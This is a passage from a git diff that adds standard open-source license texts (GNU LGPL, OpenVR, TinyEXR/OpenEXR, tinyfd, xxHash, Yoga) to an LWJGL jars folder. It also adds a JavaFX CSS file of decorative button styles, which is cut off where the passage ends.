licensed for everyone's +free use or not licensed at all. + + Most GNU software, including some libraries, is covered by the ordinary +GNU General Public License, which was designed for utility programs. This +license, the GNU Library General Public License, applies to certain +designated libraries. This license is quite different from the ordinary +one; be sure to read it in full, and don't assume that anything in it is +the same as in the ordinary license. + + The reason we have a separate public license for some libraries is that +they blur the distinction we usually make between modifying or adding to a +program and simply using it. Linking a program with a library, without +changing the library, is in some sense simply using the library, and is +analogous to running a utility program or application program. However, in +a textual and legal sense, the linked executable is a combined work, a +derivative of the original library, and the ordinary General Public License +treats it as such. + + Because of this blurred distinction, using the ordinary General +Public License for libraries did not effectively promote software +sharing, because most developers did not use the libraries. We +concluded that weaker conditions might promote sharing better. + + However, unrestricted linking of non-free programs would deprive the +users of those programs of all benefit from the free status of the +libraries themselves. This Library General Public License is intended to +permit developers of non-free programs to use free libraries, while +preserving your freedom as a user of such programs to change the free +libraries that are incorporated in them. (We have not seen how to achieve +this as regards changes in header files, but we have achieved it as regards +changes in the actual functions of the Library.) The hope is that this +will lead to faster development of free libraries. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, while the latter only +works together with the library. + + Note that it is possible for a library to be covered by the ordinary +General Public License rather than by this special one. + + GNU LIBRARY GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library which +contains a notice placed by the copyright holder or other authorized +party saying it may be distributed under the terms of this Library +General Public License (also called "this License"). Each licensee is +addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also compile or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + c) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + d) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the source code distributed need not include anything that is normally +distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Library General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! diff --git a/src/Java/Jars/lwjgl_jars/openvr_license.txt b/src/Java/Jars/lwjgl_jars/openvr_license.txt new file mode 100644 index 0000000..ee83337 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/openvr_license.txt @@ -0,0 +1,27 @@ +Copyright (c) 2015, Valve Corporation +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this +list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, +this list of conditions and the following disclaimer in the documentation and/or +other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its contributors +may be used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/src/Java/Jars/lwjgl_jars/tinyexr_license.txt b/src/Java/Jars/lwjgl_jars/tinyexr_license.txt new file mode 100644 index 0000000..8a6f23c --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/tinyexr_license.txt @@ -0,0 +1,63 @@ +Copyright (c) 2014 - 2016, Syoyo Fujita +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + +// TinyEXR contains some OpenEXR code, which is licensed under ------------ + +/////////////////////////////////////////////////////////////////////////// +// +// Copyright (c) 2002, Industrial Light & Magic, a division of Lucas +// Digital Ltd. LLC +// +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither the name of Industrial Light & Magic nor the names of +// its contributors may be used to endorse or promote products derived +// from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +// +/////////////////////////////////////////////////////////////////////////// + +// End of OpenEXR license ------------------------------------------------- \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/tinyfd_license.txt b/src/Java/Jars/lwjgl_jars/tinyfd_license.txt new file mode 100644 index 0000000..e3d7205 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/tinyfd_license.txt @@ -0,0 +1,15 @@ +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must not +claim that you wrote the original software. If you use this software +in a product, an acknowledgment in the product documentation would be +appreciated but is not required. +2. Altered source versions must be plainly marked as such, and must not be +misrepresented as being the original software. +3. This notice may not be removed or altered from any source distribution. \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/xxhash_license.txt b/src/Java/Jars/lwjgl_jars/xxhash_license.txt new file mode 100644 index 0000000..7de801e --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/xxhash_license.txt @@ -0,0 +1,24 @@ +xxHash Library +Copyright (c) 2012-2014, Yann Collet +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this + list of conditions and the following disclaimer in the documentation and/or + other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/src/Java/Jars/lwjgl_jars/yoga_license.txt b/src/Java/Jars/lwjgl_jars/yoga_license.txt new file mode 100644 index 0000000..2b3f0e4 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/yoga_license.txt @@ -0,0 +1,30 @@ +BSD License + +For yoga software + +Copyright (c) 2014-present, Facebook, Inc. All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + * Neither the name Facebook nor the names of its contributors may be used to + endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/src/Java/Resources/buttons-css.css b/src/Java/Resources/buttons-css.css new file mode 100644 index 0000000..53937f1 --- /dev/null +++ b/src/Java/Resources/buttons-css.css @@ -0,0 +1,228 @@ +#green { + -fx-background-color: + linear-gradient(#f0ff35, #a9ff00), + radial-gradient(center 50% -40%, radius 200%, #b8ee36 45%, #80c800 50%); + -fx-background-radius: 6, 5; + -fx-background-insets: 0, 1; + -fx-effect: dropshadow( three-pass-box , rgba(0,0,0,0.4) , 5, 0.0 , 0 , 1 ); + -fx-text-fill: #395306; +} +#round-red { + -fx-background-color: linear-gradient(#ff5400, #be1d00); + -fx-background-radius: 30; + -fx-background-insets: 0; + -fx-text-fill: white; +} +#bevel-grey { + -fx-background-color: + linear-gradient(#f2f2f2, #d6d6d6), + linear-gradient(#fcfcfc 0%, #d9d9d9 20%, #d6d6d6 100%), + linear-gradient(#dddddd 0%, #f6f6f6 50%); + -fx-background-radius: 8,7,6; + -fx-background-insets: 0,1,2; + -fx-text-fill: black; + -fx-effect: dropshadow( three-pass-box , rgba(0,0,0,0.6) , 5, 0.0 , 0 , 1 ); +} +#glass-grey { + -fx-background-color: + #c3c4c4, + linear-gradient(#d6d6d6 50%, white 100%), + radial-gradient(center 50% -40%, radius 200%, #e6e6e6 45%, rgba(230,230,230,0) 50%); + -fx-background-radius: 30; + -fx-background-insets: 0,1,1; + -fx-text-fill: black; + -fx-effect: dropshadow( three-pass-box , rgba(0,0,0,0.6) , 3, 0.0 , 0 , 1 ); +} +#shiny-orange { + -fx-background-color: + linear-gradient(#ffd65b, #e68400), + linear-gradient(#ffef84, #f2ba44), + linear-gradient(#ffea6a, #efaa22), + linear-gradient(#ffe657 0%, #f8c202 50%, #eea10b 100%), + linear-gradient(from 0% 0% to 15% 50%, rgba(255,255,255,0.9), rgba(255,255,255,0)); + -fx-background-radius: 30; + -fx-background-insets: 0,1,2,3,0; + -fx-text-fill: #654b00; + -fx-font-weight: bold; + -fx-font-size: 14px; + -fx-padding: 10 20 10 20; +} +#dark-blue { + -fx-background-color: + #090a0c, + linear-gradient(#38424b 0%, #1f2429 20%, #191d22 100%), + linear-gradient(#20262b, #191d22), + radial-gradient(center 50% 0%, radius 100%, rgba(114,131,148,0.9), rgba(255,255,255,0)); + -fx-background-radius: 5,4,3,5; + -fx-background-insets: 0,1,2,0; + -fx-text-fill: white; + -fx-effect: dropshadow( three-pass-box , rgba(0,0,0,0.6) , 5, 0.0 , 0 , 1 ); + -fx-font-family: "Arial"; + -fx-text-fill: linear-gradient(white, #d0d0d0); + -fx-font-size: 12px; + -fx-padding: 10 20 10 20; +} +#dark-blue Text { + -fx-effect: dropshadow( one-pass-box , rgba(0,0,0,0.9) , 1, 0.0 , 0 , 1 ); +} +#record-sales { + -fx-padding: 8 15 15 15; + -fx-background-insets: 0,0 0 5 0, 0 0 6 0, 0 0 7 0; + -fx-background-radius: 8; + -fx-background-color: + linear-gradient(from 0% 93% to 0% 100%, #a34313 0%, #903b12 100%), + #9d4024, + #d86e3a, + radial-gradient(center 50% 50%, radius 100%, #d86e3a, #c54e2c); + -fx-effect: dropshadow( gaussian , rgba(0,0,0,0.75) , 4,0,0,1 ); + -fx-font-weight: bold; + -fx-font-size: 1.1em; +} +#record-sales:hover { + -fx-background-color: + linear-gradient(from 0% 93% to 0% 100%, #a34313 0%, #903b12 100%), + #9d4024, + #d86e3a, + radial-gradient(center 50% 50%, radius 100%, #ea7f4b, #c54e2c); +} +#record-sales:pressed { + -fx-padding: 10 15 13 15; + -fx-background-insets: 2 0 0 0,2 0 3 0, 2 0 4 0, 2 0 5 0; +} +#record-sales Text { + -fx-fill: white; + -fx-effect: dropshadow( gaussian , #a30000 , 0,0,0,2 ); +} +#rich-blue { + -fx-background-color: + #000000, + linear-gradient(#7ebcea, #2f4b8f), + linear-gradient(#426ab7, #263e75), + linear-gradient(#395cab, #223768); + -fx-background-insets: 0,1,2,3; + -fx-background-radius: 3,2,2,2; + -fx-padding: 12 30 12 30; + -fx-text-fill: white; + -fx-font-size: 12px; +} +#rich-blue Text { + -fx-effect: dropshadow( one-pass-box , rgba(0,0,0,0.8) , 0, 0.0 , 0 , 1); +} +#big-yellow { + -fx-background-color: + #ecebe9, + rgba(0,0,0,0.05), + linear-gradient(#dcca8a, #c7a740), + linear-gradient(#f9f2d6 0%, #f4e5bc 20%, #e6c75d 80%, #e2c045 100%), + linear-gradient(#f6ebbe, #e6c34d); + -fx-background-insets: 0,9 9 8 9,9,10,11; + -fx-background-radius: 50; + -fx-padding: 15 30 15 30; + -fx-font-family: "Helvetica"; + -fx-font-size: 18px; + -fx-text-fill: #311c09; + -fx-effect: innershadow( three-pass-box , rgba(0,0,0,0.1) , 2, 0.0 , 0 , 1); +} +#big-yellow Text { + -fx-effect: dropshadow( one-pass-box , rgba(255,255,255,0.5) , 0, 0.0 , 0 , 1); +} +#iphone-toolbar { + -fx-background-color: linear-gradient(#98a8bd 0%, #8195af 25%, #6d86a4 100%); +} +#iphone { + -fx-background-color: + #a6b5c9, + linear-gradient(#303842 0%, #3e5577 20%, #375074 100%), + linear-gradient(#768aa5 0%, #849cbb 5%, #5877a2 50%, #486a9a 51%, #4a6c9b 100%); + -fx-background-insets: 0 0 -1 0,0,1; + -fx-background-radius: 5,5,4; + -fx-padding: 7 30 7 30; + -fx-text-fill: #242d35; + -fx-font-family: "Helvetica"; + -fx-font-size: 12px; + -fx-text-fill: white; +} +#iphone Text { + -fx-effect: dropshadow( one-pass-box , rgba(0,0,0,0.8) , 0, 0.0 , 0 , -1 ); +} +#ipad-dark-grey { + -fx-background-color: + linear-gradient(#686868 0%, #232723 25%, #373837 75%, #757575 100%), + linear-gradient(#020b02, #3a3a3a), + linear-gradient(#9d9e9d 0%, #6b6a6b 20%, #343534 80%, #242424 100%), + linear-gradient(#8a8a8a 0%, #6b6a6b 20%, #343534 80%, #262626 100%), + linear-gradient(#777777 0%, #606060 50%, #505250 51%, #2a2b2a 100%); + -fx-background-insets: 0,1,4,5,6; + -fx-background-radius: 9,8,5,4,3; + -fx-padding: 15 30 15 30; + -fx-font-family: "Helvetica"; + -fx-font-size: 18px; + -fx-font-weight: bold; + -fx-text-fill: white; + -fx-effect: dropshadow( three-pass-box , rgba(255,255,255,0.2) , 1, 0.0 , 0 , 1); +} +#ipad-dark-grey Text { + -fx-effect: dropshadow( one-pass-box , black , 0, 0.0 , 0 , -1 ); +} +#ipad-grey { + -fx-background-color: + linear-gradient(#686868 0%, #232723 25%, #373837 75%, #757575 100%), + linear-gradient(#020b02, #3a3a3a), + linear-gradient(#b9b9b9 0%, #c2c2c2 20%, #afafaf 80%, #c8c8c8 100%), + 